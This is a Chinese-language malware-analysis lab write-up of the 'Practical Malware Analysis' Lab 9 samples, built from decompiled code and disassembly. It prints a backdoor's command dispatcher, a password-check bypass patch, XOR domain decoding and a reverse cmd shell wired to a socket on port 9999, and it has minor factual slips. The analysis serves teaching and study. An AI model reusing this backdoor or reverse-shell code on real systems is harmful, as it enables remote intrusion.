恶意代码分析实战 Lab9

Lab 9-1

简要分析

函数主体分析

函数的主要流程分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+10h] [ebp-181Ch]
char v5; // [esp+410h] [ebp-141Ch]
char v6; // [esp+810h] [ebp-101Ch]
char v7; // [esp+C10h] [ebp-C1Ch]
CHAR v8; // [esp+1024h] [ebp-808h]
CHAR ServiceName; // [esp+1428h] [ebp-404h]
const char *v10; // [esp+1828h] [ebp-4h]

if ( argc == 1 ) // 当没有参数
{
if ( !search_reg_401000() ) // 检测有无一个注册表的值
del_self_402410();
chk_service_402360();
}
else
{
v10 = argv[argc - 1];
if ( !chk_pwd_402510(v10) ) // 需要一个密码才能正常执行
del_self_402410();
if ( _mbscmp(argv[1], aIn) ) // 参数为-in
{
if ( _mbscmp(argv[1], aRe) ) // 参数为-re
{
if ( _mbscmp(argv[1], aC_0) ) // 参数为-c
{
if ( _mbscmp(argv[1], aCc) ) // 参数为-cc
del_self_402410();
if ( argc != 3 )
del_self_402410();
if ( !sub_401280(&v5, 1024, &v6, 1024, &v4, 1024, &v7) )// exe -cc abcd时的情况
print_reg_402E7E(aKSHSPSPerS, &v5);
}
else
{
if ( argc != 7 ) // exe -c abcd时的情况
del_self_402410();
mk_reg_401070(argv[2], argv[3], argv[4], argv[5]);
}
}
else if ( argc == 3 ) // exe -re abcd时的情况
{
if ( get_module_name_4025B0(&v8) )
return -1;
del_service_402900(&v8);
}
else
{
if ( argc != 4 )
del_self_402410();
del_service_402900(argv[2]);
}
}
else if ( argc == 3 ) // exe -in abcd时的情况
{
if ( get_module_name_4025B0(&ServiceName) )
return -1;
install_service_402600(&ServiceName);
}
else
{
if ( argc != 4 )
del_self_402410();
install_service_402600(argv[2]); // 当存在第四个参数,将第四个参数做出服务名安装服务
}
}
return 0;
}

程序执行时会判断有无参数,没有参数则会搜索注册表中的内容,若没有指定的注册表,则删除自身。

首先程序判断第一个参数,即chk_pwd_402510(v10)函数,该函数主体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
BOOL __cdecl chk_pwd_402510(int a1)
{
BOOL result; // eax
char v2; // [esp+4h] [ebp-4h]
char v3; // [esp+4h] [ebp-4h]

if ( strlen(a1) != 4 ) // 密码长度为4
return 0;
if ( *a1 != 'a' ) // 第一个字母是否为'a'
return 0;
v2 = *(a1 + 1) - *a1;
if ( v2 != 1 ) // 第二个字母是否为'b'
return 0;
v3 = 99 * v2;
if ( v3 == *(a1 + 2) ) // 第三个字母是否为'c'
result = (v3 + 1) == *(a1 + 3); // 第四个字母是否为'd'
else
result = 0;
return result;
}

类似一个检测密码的函数,当该参数的字符串内容为”abcd”时才会返回true,否则返回false然后删除自身。

当密码正确以后,会继续对是否存在一个服务进行判断,若不存在则对参数进行检测,当不符合判断时会删除自身。

这里针对参数分为五种情况,简单解释:

  1. 执行”Lab9-1.exe -in abcd”时:以当前模块名为服务名安装一个服务;
  2. 执行”Lab9-1.exe -re abcd”时:卸载一个服务;
  3. 执行”Lab9-1.exe -c abcd”时:删除自身并且创建一个注册表;
  4. 执行”Lab9-1.exe -cc abcd”时:删除自身并且打印一个注册表;
  5. 当参数为-in且还有第四个参数时,如执行”Lab9-1.exe -cc abcd param”就会安装一个名为param的服务;

当该服务存在时会执行如下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed int chk_service_402360()
{
int v1; // eax
char v2; // [esp+0h] [ebp-1000h]
char v3; // [esp+400h] [ebp-C00h]
char name; // [esp+800h] [ebp-800h]
char v5; // [esp+C00h] [ebp-400h]

while ( 1 )
{
if ( chk_reg_401280(&v3, 1024, &name, 1024, &v2, 1024, &v5) )
return 1;
atoi(&v2);
if ( malware_402020(&name) )
break;
v1 = atoi(&v5);
Sleep(1000 * v1);
}
return 1;
}

首先检测一个注册表是否存在,存在则进入一个有恶意行为的函数malware_402020:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
int __cdecl malware_402020(char *name)
{
const char *v2; // ST2C_4
int v3; // ST30_4
char *v4; // eax
u_short v5; // ST24_2
char *v6; // ST28_4
char *v7; // eax
u_short v8; // ST1C_2
char *lpFileName; // ST20_4
char *v10; // eax
const char *v11; // ST18_4
u_short hostshort; // [esp+4h] [ebp-424h]
FILE *v13; // [esp+8h] [ebp-420h]
char v14; // [esp+28h] [ebp-400h]

if ( sub_401E60(&v14, 1024) )
return 1;
if ( !strncmp(&v14, aSleep, strlen(aSleep)) )
{
strtok(&v14, asc_40C0C0);
v2 = strtok(0, asc_40C0C0);
v3 = atoi(v2);
Sleep(1000 * v3);
}
else if ( !strncmp(&v14, aUpload, strlen(aUpload)) )
{
strtok(&v14, asc_40C0C0);
v4 = strtok(0, asc_40C0C0);
v5 = atoi(v4);
v6 = strtok(0, asc_40C0C0);
if ( sub_4019E0(name, v5, v6) )
return 1;
}
else if ( !strncmp(&v14, aDownload, strlen(aDownload)) )
{
strtok(&v14, asc_40C0C0);
v7 = strtok(0, asc_40C0C0);
v8 = atoi(v7);
lpFileName = strtok(0, asc_40C0C0);
if ( sub_401870(name, v8, lpFileName) )
return 1;
}
else if ( !strncmp(&v14, aCmd_0, strlen(aCmd_0)) )
{
strtok(&v14, asc_40C0C0);
v10 = strtok(0, asc_40C0C0);
hostshort = atoi(v10);
v11 = strtok(0, asc_40C0A4);
v13 = _popen(v11, aRb);
if ( !v13 )
return 1;
if ( sub_401790(name, hostshort, v13) )
{
_pclose(v13);
return 1;
}
_pclose(v13);
}
else
{
strncmp(&v14, aNothing, strlen(aNothing));
}
return 0;
}

这里会根据字符串的内容进行一些恶意的操作,然后进行一个与一个主机通信的操作。

动态分析

无参数运行程序,在检测注册表的函数之前可以看到检测的注册表的内容:

程序检测HKLM\SOFTWARE\ Microsoft \XPS注册表是否存在,存在则执行0x401029处的指令,否则退出函数,往下走去执行0x402010处的函数:

可以看到该函数目的用于删除程序本身:

为程序附加参数”-in abcd”,运行到如下指令之前,可以看到栈顶为“Lab09-01”:

1
00402B90  |.  E8 6BFAFFFF   call Lab09-01.00402600

也就是前一个函数get_module_name_4025B0(&ServiceName)执行后返回的模块名。

运行到0x402805可以看到创建服务函数的参数:

然后将程序复制到system32文件夹下:

最后根据访问的网址创建一个注册表项:

此时服务安装完毕,执行”Lab09-01.exe -cc abcd”即可看到创建的注册表:

程序服务安装完毕后再次调试无参数的程序,程序在访问0x402360的函数处卡顿:

该函数调用中的0x401020函数返回一个链接”http://www.practicalmalwareanalysis.com":

0x401070返回”P”,即80:

0x401D80返回一个链接:

使用上述的几个参数进行访问:

这里访问失败,往下走程序退出。

再回看malware_402020函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if ( sub_401E60(&v14, 1024) )
return 1;
if ( !strncmp(&v14, aSleep, strlen(aSleep)) )
{
strtok(&v14, asc_40C0C0);
v2 = strtok(0, asc_40C0C0);
v3 = atoi(v2);
Sleep(1000 * v3);
}
else if ( !strncmp(&v14, aUpload, strlen(aUpload)) )
{
strtok(&v14, asc_40C0C0);
v4 = strtok(0, asc_40C0C0);
v5 = atoi(v4);
v6 = strtok(0, asc_40C0C0);
if ( sub_4019E0(name, v5, v6) )
return 1;
}
else if ( !strncmp(&v14, aDownload, strlen(aDownload)) )
{
strtok(&v14, asc_40C0C0);
v7 = strtok(0, asc_40C0C0);
v8 = atoi(v7);
lpFileName = strtok(0, asc_40C0C0);
if ( sub_401870(name, v8, lpFileName) )
return 1;
}
else if ( !strncmp(&v14, aCmd_0, strlen(aCmd_0)) )
{
strtok(&v14, asc_40C0C0);
v10 = strtok(0, asc_40C0C0);
hostshort = atoi(v10);
v11 = strtok(0, asc_40C0A4);
v13 = _popen(v11, aRb);
if ( !v13 )
return 1;
if ( sub_401790(name, hostshort, v13) )
{
_pclose(v13);
return 1;
}
_pclose(v13);
}

这里可以分析出用于进行恶意行为的参数v14就是0x401AF0访问恶意主机后返回得到的。

Q1:如何让这个恶意代码安装自身?

执行”Lab09-01.exe -in abcd”即可。

Q2:这个恶意代码的命令行选项是什么?它要求的密码是什么?

要求的密码为abcd,结合密码后的命令行选项:

  1. 执行”Lab9-1.exe -in abcd”时:以当前模块名为服务名安装一个服务;
  2. 执行”Lab9-1.exe -re abcd”时:卸载一个服务;
  3. 执行”Lab9-1.exe -c abcd”时:删除自身并且创建一个注册表;
  4. 执行”Lab9-1.exe -cc abcd”时:删除自身并且打印一个注册表;
  5. 当参数为-in且还有第四个参数时,如执行”Lab9-1.exe -cc abcd param”就会安装一个名为param的服务;

Q3:如何利用OllyDbg永久修补这个恶意代码,使其不需要指定的命令行密码?

将:

1
00402B38  |. /75 05         jnz short Lab09-01.00402B3F

改为:

1
2
00402B38  |. /75 05         jz short Lab09-01.00402B3F

即可。

Q4:这个恶意代码基于系统的特征是什么?

  1. 创建一个注册表:HKLM\SOFTWARE\ Microsoft \XPS;
  2. 复制一个备份到system32目录下;
  3. 创建一个名为Lab09-01或者自定义名字的服务;

Q5:这个恶意代码通过网络执行了哪些不同操作?

根据0x401AF0函数的返回值有:休眠,上传文件,下载文件,执行命令和不做任何事这些操作。

Q6:这个恶意代码是否有网络特征?

有。

  1. http://www.practicalmalwareanalysis.com 进行请求;
  2. 访问一个随机的URL,格式为xxxx/xxxx.xxx,x为一个随机ascii字符;

Lab 9-2

简要分析

程序主体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
qmemcpy(&v8, &unk_405034, 0x21u);
v11 = 0;
Filename = 0;
memset(&v6, 0, 0x10Cu);
v7 = 0;
GetModuleFileNameA(0, &Filename, 0x10Eu);
v36 = strrchr(&Filename, 92) + 1;
if ( strcmp(&v26, v36) )
return 1;
while ( 1 )
{
v12 = WSAStartup(0x202u, &WSAData);
if ( v12 )
return 1;
s = WSASocketA(2, 1, 6, 0, 0, 0);
if ( s == -1 )
break;
name = (char *)sub_401089(&v13, (int)&v8);
v10 = gethostbyname(name);
if ( v10 )
{
*(_DWORD *)&v9.sa_data[2] = **(_DWORD **)v10->h_addr_list;
*(_WORD *)v9.sa_data = htons(0x270Fu);
v9.sa_family = 2;
v12 = connect(s, &v9, 16);
if ( v12 != -1 )
sub_401000(
*(_DWORD *)&v9.sa_family,
*(_DWORD *)&v9.sa_data[2],
*(_DWORD *)&v9.sa_data[6],
*(_DWORD *)&v9.sa_data[10],
s);
closesocket(s);
WSACleanup();
Sleep(0x7530u);
}
else
{
closesocket(s);
WSACleanup();
Sleep(0x7530u);
}
}

首先程序会进入一段对字符串的处理操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:00401133                 mov     [ebp+var_1B0], 31h
.text:0040113A mov [ebp+var_1AF], 71h
.text:00401141 mov [ebp+var_1AE], 61h
.text:00401148 mov [ebp+var_1AD], 7Ah
.text:0040114F mov [ebp+var_1AC], 32h
.text:00401156 mov [ebp+var_1AB], 77h
.text:0040115D mov [ebp+var_1AA], 73h
.text:00401164 mov [ebp+var_1A9], 78h
.text:0040116B mov [ebp+var_1A8], 33h
.text:00401172 mov [ebp+var_1A7], 65h
.text:00401179 mov [ebp+var_1A6], 64h
.text:00401180 mov [ebp+var_1A5], 63h
.text:00401187 mov [ebp+var_1A4], 0
.text:0040118E mov [ebp+var_1A0], 6Fh
.text:00401195 mov [ebp+var_19F], 63h
.text:0040119C mov [ebp+var_19E], 6Ch
.text:004011A3 mov [ebp+var_19D], 2Eh
.text:004011AA mov [ebp+var_19C], 65h
.text:004011B1 mov [ebp+var_19B], 78h
.text:004011B8 mov [ebp+var_19A], 65h
.text:004011BF mov [ebp+var_199], 0

这段执行完毕后可以看到在栈上产生了两个字符串:ocl.exe以及1qaz2wsx3edc:

然后程序将程序名”Lab09-02.exe”与”ocl.exe”进行比较,不匹配就退出程序:

“Lab09-02.exe”是之前获取的程序名:

1
2
GetModuleFileNameA(0, &Filename, 0x10Eu);
v36 = strrchr(&Filename, 92) + 1;

将程序名改为”ocl.exe”即可越过检查:

然后进入循环,首先进行一个socket初始化工作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.text:0040124C chk_success_40124C:                     ; CODE XREF: _main+118↑j
.text:0040124C ; _main+1D7↓j ...
.text:0040124C mov edx, 1
.text:00401251 test edx, edx
.text:00401253 jz exit_4013D4
.text:00401259 lea eax, [ebp+WSAData]
.text:0040125F push eax ; lpWSAData
.text:00401260 push 202h ; wVersionRequested
.text:00401265 call ds:WSAStartup
.text:0040126B mov [ebp+var_1B4], eax
.text:00401271 cmp [ebp+var_1B4], 0
.text:00401278 jz short establish_socket_4012AF
.text:0040127A mov eax, 1
.text:0040127F jmp exit_4013D6
.text:00401284 ; ---------------------------------------------------------------------------
.text:00401284
.text:00401284 establish_socket_4012AF: ; CODE XREF: _main+150↑j
.text:00401284 push 0 ; dwFlags
.text:00401286 push 0 ; g
.text:00401288 push 0 ; lpProtocolInfo
.text:0040128A push 6 ; protocol
.text:0040128C push 1 ; type
.text:0040128E push 2 ; af
.text:00401290 call ds:WSASocketA
.text:00401296 mov [ebp+s], eax
.text:0040129C cmp [ebp+s], 0FFFFFFFFh
.text:004012A3 jnz short socket_success_4012AF
.text:004012A5 mov eax, 1
.text:004012AA jmp exit_4013D6

初始化成功后进入一个处理阶段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:004012AF socket_success_4012AF:                  ; CODE XREF: _main+17B↑j
.text:004012AF lea ecx, [ebp+var_1F0]
.text:004012B5 push ecx ; int
.text:004012B6 lea edx, [ebp+var_1B0]
.text:004012BC push edx ; char *
.text:004012BD call sub_401089
.text:004012C2 add esp, 8
.text:004012C5 mov [ebp+name], eax
.text:004012C8 mov eax, [ebp+name]
.text:004012CB push eax ; name
.text:004012CC call ds:gethostbyname
.text:004012D2 mov [ebp+var_1BC], eax
.text:004012D8 cmp [ebp+var_1BC], 0
.text:004012DF jnz short loc_401304
.text:004012E1 mov ecx, [ebp+s]
.text:004012E7 push ecx ; s
.text:004012E8 call ds:closesocket
.text:004012EE call ds:WSACleanup
.text:004012F4 push 7530h ; dwMilliseconds
.text:004012F9 call ds:Sleep
.text:004012FF jmp chk_success_40124C

这里sub_401089函数的调用逻辑:

1
2
qmemcpy(&v8, &unk_405034, 0x21u);
name = sub_401089(&v13, &v8);

unk_405034即1qaz2wsx3edc。

sub_401089核心部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:004010E3 loc_4010E3:                             ; CODE XREF: sub_401089+49↑j
.text:004010E3 cmp [ebp+var_108], 20h
.text:004010EA jge short loc_40111D
.text:004010EC mov edx, [ebp+arg_4]
.text:004010EF add edx, [ebp+var_108]
.text:004010F5 movsx ecx, byte ptr [edx]
.text:004010F8 mov eax, [ebp+var_108]
.text:004010FE cdq
.text:004010FF idiv [ebp+var_104]
.text:00401105 mov eax, [ebp+arg_0]
.text:00401108 movsx edx, byte ptr [eax+edx]
.text:0040110C xor ecx, edx
.text:0040110E mov eax, [ebp+var_108]
.text:00401114 mov [ebp+eax+var_100], cl
.text:0040111B jmp short loc_4010D4
1
2
for ( i = 0; i < 32; ++i )
*(&v5 + i) = a1[i % v4] ^ *(i + a2);

是一段对字符串的亦或操作,亦或结果通过cl寄存器放入内存:

1
2
3
.text:0040110C                 xor     ecx, edx
.text:0040110E mov eax, [ebp+var_108]
.text:00401114 mov [ebp+eax+var_100], cl

动态调试可以看到是使用1qaz2wsx3edc作为亦或的内容进行计算:

解密完成得到url:”www.practicalmalwareanalysis.com”:

然后将url进行解析并做进一步的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
name = geturl_401089(&v13, &v8);
v10 = gethostbyname(name);
if ( v10 )
{
*&v9.sa_data[2] = **v10->h_addr_list;
*v9.sa_data = htons(9999u);
v9.sa_family = 2;
v12 = connect(s, &v9, 16);
if ( v12 != -1 )
sub_401000(*&v9.sa_family, *&v9.sa_data[2], *&v9.sa_data[6], *&v9.sa_data[10], s);
closesocket(s);
WSACleanup();
Sleep(0x7530u);
}

尝试连接 www.practicalmalwareanalysis.com:9999 ,连接成功后调用sub_401000函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl sub_401000(int a1, int a2, int a3, int a4, void *a5)
{
struct _STARTUPINFOA StartupInfo; // [esp+0h] [ebp-58h]
BOOL v7; // [esp+44h] [ebp-14h]
struct _PROCESS_INFORMATION ProcessInformation; // [esp+48h] [ebp-10h]

v7 = 0;
memset(&StartupInfo, 0, 0x44u);
StartupInfo.cb = 68;
memset(&ProcessInformation, 0, 0x10u);
StartupInfo.dwFlags = 257;
StartupInfo.wShowWindow = 0;
StartupInfo.hStdInput = a5;
StartupInfo.hStdError = a5;
StartupInfo.hStdOutput = a5;
v7 = CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF);
return 0;
}

根据v7 = CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation);可以得出这是创建一个反弹shell的函数。

shell建立成功后就维持连接状态,否则就退出关闭socket并关闭程序:

1
2
3
closesocket(s);
WSACleanup();
Sleep(0x7530u);

Q1:在二进制文件中,你看到的静态字符串是什么?

IDA pro中可以看到的字符串如下:

.rdata段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.rdata:004040CC	0000000F	C	runtime error 
.rdata:004040E0 0000000E C TLOSS error\r\n
.rdata:004040F0 0000000D C SING error\r\n
.rdata:00404100 0000000F C DOMAIN error\r\n
.rdata:00404110 00000025 C R6028\r\n- unable to initialize heap\r\n
.rdata:00404138 00000035 C R6027\r\n- not enough space for lowio initialization\r\n
.rdata:00404170 00000035 C R6026\r\n- not enough space for stdio initialization\r\n
.rdata:004041A8 00000026 C R6025\r\n- pure virtual function call\r\n
.rdata:004041D0 00000035 C R6024\r\n- not enough space for _onexit/atexit table\r\n
.rdata:00404208 00000029 C R6019\r\n- unable to open console device\r\n
.rdata:00404234 00000021 C R6018\r\n- unexpected heap error\r\n
.rdata:00404258 0000002D C R6017\r\n- unexpected multithread lock error\r\n
.rdata:00404288 0000002C C R6016\r\n- not enough space for thread data\r\n
.rdata:004042B4 00000021 C \r\nabnormal program termination\r\n
.rdata:004042D8 0000002C C R6009\r\n- not enough space for environment\r\n
.rdata:00404304 0000002A C R6008\r\n- not enough space for arguments\r\n
.rdata:00404330 00000025 C R6002\r\n- floating point not loaded\r\n
.rdata:00404358 00000025 C Microsoft Visual C++ Runtime Library
.rdata:00404384 0000001A C Runtime Error!\n\nProgram:
.rdata:004043A4 00000017 C <program name unknown>
.rdata:004043BC 00000013 C GetLastActivePopup
.rdata:004043D0 00000010 C GetActiveWindow
.rdata:004043E0 0000000C C MessageBoxA
.rdata:004043EC 0000000B C user32.dll
.rdata:00404562 0000000D C KERNEL32.dll
.rdata:0040457E 0000000B C WS2_32.dll

.data段中可解析的:

1
.data:00405030 CommandLine     db 'cmd',0              ; DATA XREF: sub_401000+67↑o

Q2:当你运行这个二进制文件时,会发生什么?

程序直接退出了。

Q3:怎样让这个恶意代码的攻击载荷(payload)获得运行?

将程序命名为ocl.exe运行。

Q4:在地址0x00401133处发生了什么?

两个字符串被分割开放到了栈中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:00401133                 mov     [ebp+var_1B0], 31h
.text:0040113A mov [ebp+var_1AF], 71h
.text:00401141 mov [ebp+var_1AE], 61h
.text:00401148 mov [ebp+var_1AD], 7Ah
.text:0040114F mov [ebp+var_1AC], 32h
.text:00401156 mov [ebp+var_1AB], 77h
.text:0040115D mov [ebp+var_1AA], 73h
.text:00401164 mov [ebp+var_1A9], 78h
.text:0040116B mov [ebp+var_1A8], 33h
.text:00401172 mov [ebp+var_1A7], 65h
.text:00401179 mov [ebp+var_1A6], 64h
.text:00401180 mov [ebp+var_1A5], 63h
.text:00401187 mov [ebp+var_1A4], 0
.text:0040118E mov [ebp+var_1A0], 6Fh
.text:00401195 mov [ebp+var_19F], 63h
.text:0040119C mov [ebp+var_19E], 6Ch
.text:004011A3 mov [ebp+var_19D], 2Eh
.text:004011AA mov [ebp+var_19C], 65h
.text:004011B1 mov [ebp+var_19B], 78h
.text:004011B8 mov [ebp+var_19A], 65h
.text:004011BF mov [ebp+var_199], 0

Q5:传递给子列程(函数)0x401089的参数是什么?

参数为:1qaz2wsx3edc:

Q6:恶意代码使用的域名是什么?

www.practicalmalwareanalysis.com

Q7:恶意代码使用什么编码函数来混淆域名?

使用亦或与”1qaz2wsx3edc”加密函数,所以解密时也与”1qaz2wsx3edc”亦或:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
char *__cdecl geturl_401089(char *a1, int a2)
{
signed int i; // [esp+4h] [ebp-108h]
signed int v4; // [esp+8h] [ebp-104h]
char v5; // [esp+Ch] [ebp-100h]
char v6; // [esp+Dh] [ebp-FFh]
__int16 v7; // [esp+109h] [ebp-3h]
char v8; // [esp+10Bh] [ebp-1h]

v5 = 0;
memset(&v6, 0, 0xFCu);
v7 = 0;
v8 = 0;
v4 = strlen(a1);
for ( i = 0; i < 32; ++i )
*(&v5 + i) = a1[i % v4] ^ *(i + a2);
return &v5;
}

Q8:恶意代码在0x0040106E处调用CreateProcessA函数的意义是什么?

设置stdout、stderr和stdin的句柄到socket。使用cmd作为CreateProcessA的参数以此通过shell的指令和socket连接建立一个反弹shell。

1
2
3
4
5
6
7
8
9
10
memset(&StartupInfo, 0, 0x44u);
StartupInfo.cb = 68;
memset(&ProcessInformation, 0, 0x10u);
StartupInfo.dwFlags = 257;
StartupInfo.wShowWindow = 0;
StartupInfo.hStdInput = a5;
StartupInfo.hStdError = a5;
StartupInfo.hStdOutput = a5;
v7 = CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF);

Lab 9-3

简要分析

程序的主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
LPBYTE Buffer; // [esp+0h] [ebp-1Ch]
HANDLE hFile; // [esp+4h] [ebp-18h]
HMODULE hModule; // [esp+8h] [ebp-14h]
FARPROC v7; // [esp+Ch] [ebp-10h]
DWORD NumberOfBytesWritten; // [esp+10h] [ebp-Ch]
void (*v9)(void); // [esp+14h] [ebp-8h]
DWORD JobId; // [esp+18h] [ebp-4h]

DLL1Print();
DLL2Print();
hFile = DLL2ReturnJ();
WriteFile(hFile, aMalwareanalysi, 0x17u, &NumberOfBytesWritten, 0);// malwareanalysisbook.com
CloseHandle(hFile);
hModule = LoadLibraryA(LibFileName); // DLL3.dll
v9 = GetProcAddress(hModule, ProcName); // DLL3Print
v9();
v7 = GetProcAddress(hModule, aDll3getstructu);// DLL3GetStructure
(v7)(&Buffer);
NetScheduleJobAdd(0, Buffer, &JobId);
Sleep(10000u);
return 0;
}

首先调用DLL1Print()以及DLL2Print()可能是进行一些打印的操作,然后进行一个写文件的操作WriteFile(hFile, aMalwareanalysi, 0x17u, &NumberOfBytesWritten, 0)。接下来导入”DLL3.dll”,调用其中的DLL3Print以及DLL3GetStructure两个函数,最后调用NetScheduleJobAdd(0, Buffer, &JobId),提交一个计划安排,来让一个程序在某个特定日期时间运行,休眠10000msSleep(10000u)后退出程序。

这里的DLL1Print()DLL2Print()DLL3Print是从”DLL1”以及”DLL2”中导入的函数:

1
2
3
0040500C		DLL2Print	DLL2
00405008 DLL2ReturnJ DLL2
00405000 DLL1Print DLL1

DLL1Print()函数:

1
2
3
4
int DLL1Print()
{
return print_10001038(aDll1MysteryDat, dword_10008030);//DLL 1 mystery data %d
}

打印一段字符串”DLL 1 mystery data “并将dword_10008030的内容作为数字打印,dword_10008030的内容是当前程序的进程号:

1
2
result = GetCurrentProcessId();
dword_10008030 = result;

DLL2Print()函数:

1
2
3
4
int DLL2Print()
{
return print_1000105A(aDll2MysteryDat, dword_1000B078);//DLL 2 mystery data %d
}

打印一段字符串”DLL 2 mystery data “并将dword_1000B078的内容作为数字打印,dword_1000B078的内容是打开”temp.txt”的句柄值:

1
2
result = CreateFileA(FileName, 0x40000000u, 0, 0, 2u, 0x80u, 0);// temp.txt
dword_1000B078 = result;

DLL2ReturnJ()函数返回”temp.txt”的句柄值:

1
2
3
4
int DLL2ReturnJ()
{
return dword_1000B078;
}

DLL3Print()函数:

1
2
3
4
int DLL3Print()
{
return print_10001087(aDll3MysteryDat, &WideCharStr);// DLL 3 mystery data %d
}

打印一段字符串”DLL 3 mystery data “并将WideCharStr的内容作为数字打印,WideCharStr的内容是一段字符串 “ping www.malwareanalysisbook.com” 的存储地址:

1
result = MultiByteToWideChar(0, 0, aPingWwwMalware, -1, &WideCharStr, 50);// ping www.malwareanalysisbook.com

DLL3GetStructure()函数用于返回一个结构体:

1
2
3
4
5
6
7
8
_DWORD *__cdecl DLL3GetStructure(_DWORD *a1)
{
_DWORD *result; // eax

result = a1;
*a1 = &dword_1000B0A0;
return result;
}

dword_1000B0A0处结构体:

1
2
3
4
5
6
7
8
9
00000000 AT_INFO         struc ; (sizeof=0x10, align=0x4, copyof_20)
00000000 ; XREF: .data:stru_1000B0A0/r
00000000 JobTime dd ?
00000004 DaysOfMonth dd ?
00000008 DaysOfWeek db ?
00000009 Flags db ?
0000000A db ? ; undefined
0000000B db ? ; undefined
0000000C Command dd ? ; offset

该结构体保存了一些时间处理时间以及命令的信息。

当程序加载DLL3.dll后,该结构体内容为一周之中某一天的1AM进行 “ping www.malwareanalysisbook.com” 的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:10001004                 mov     [ebp+lpMultiByteStr], offset aPingWwwMalware ; "ping www.malwareanalysisbook.com"
.text:1000100B push 32h ; cchWideChar
.text:1000100D push offset WideCharStr ; lpWideCharStr
.text:10001012 push 0FFFFFFFFh ; cbMultiByte
.text:10001014 mov eax, [ebp+lpMultiByteStr]
.text:10001017 push eax ; lpMultiByteStr
.text:10001018 push 0 ; dwFlags
.text:1000101A push 0 ; CodePage
.text:1000101C call ds:MultiByteToWideChar
.text:10001022 mov stru_1000B0A0.Command, offset WideCharStr
.text:1000102C mov stru_1000B0A0.JobTime, 36EE80h
.text:10001036 mov stru_1000B0A0.DaysOfMonth, 0
.text:10001040 mov stru_1000B0A0.DaysOfWeek, 7Fh
.text:10001047 mov stru_1000B0A0.Flags, 11h

综上,Lab09-03.exe的程序行为如下:

  1. 打印当前进程的ID;
  2. 打印打开”temp.txt”的句柄;
  3. 向”temp.txt”中写入 “ping www.malwareanalysisbook.com”;
  4. 打印 “ping www.malwareanalysisbook.com” 在内存中的地址;
  5. 建立一个任务,用于每周某一天的1AM进行ping www.malwareanalysisbook.com

Q1:Lab09-03.exe导入了哪些DLL?

导入dll有DLL1,DLL2,DLL3,user32.dll,kernel32.dll,netapi32.dll。

其中DLL3以及user32.dll是通过LoadLibraryA()函数导入的:

1
hModule = LoadLibraryA(LibFileName);          // DLL3.dll
1
v4 = LoadLibraryA("user32.dll");

Q2:DLL1.dll、DLL2.dll、DLL3.dll要求的基地址是多少?

要求的基地址是0x100000000。

Q3:当使用OllyDbg调试Lab09-03.exe时,为DLL1.dll、DLL2.dll、DLL3.dll分配的基地址是什么?

DLL1.dll加载到:0x10000000;

DLL2.dll加载到:0x003D0000;

DLL3.dll加载到:0x00580000;

Q4:当Lab09-03.exe调用DLL1.dll中的一个导入函数时,这个导入函数都做了什么?

调用DLL1.dll中的导出函数DLL1Print(),打印出一段字符串”DLL 1 mystery data “以及当前程序的进程号。

Q5:当Lab09-03.exe调用WriteFile函数的时候,它写入的文件名是什么?

写入的文件名就是”temp.txt”。

1
2
result = CreateFileA(FileName, 0x40000000u, 0, 0, 2u, 0x80u, 0);// temp.txt
dword_1000B078 = result;
1
2
hFile = DLL2ReturnJ();
WriteFile(hFile, aMalwareanalysi, 0x17u, &NumberOfBytesWritten, 0);// malwareanalysisbook.com

Q6:当Lab09-03.exe使用NetScheduleJobAdd创建一个job时,从哪里获取第二个参数的数据?

使用的是调用DLL3GetStructure()经过DLL3初始化后返回的一个结构体,该结构体内容为一周之中某一天的1AM进行 “ping www.malwareanalysisbook.com” 的操作:

1
2
3
4
5
6
7
8
9
00000000 AT_INFO         struc ; (sizeof=0x10, align=0x4, copyof_20)
00000000 ; XREF: .data:stru_1000B0A0/r
00000000 JobTime dd ?
00000004 DaysOfMonth dd ?
00000008 DaysOfWeek db ?
00000009 Flags db ?
0000000A db ? ; undefined
0000000B db ? ; undefined
0000000C Command dd ? ; offset
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:10001004                 mov     [ebp+lpMultiByteStr], offset aPingWwwMalware ; "ping www.malwareanalysisbook.com"
.text:1000100B push 32h ; cchWideChar
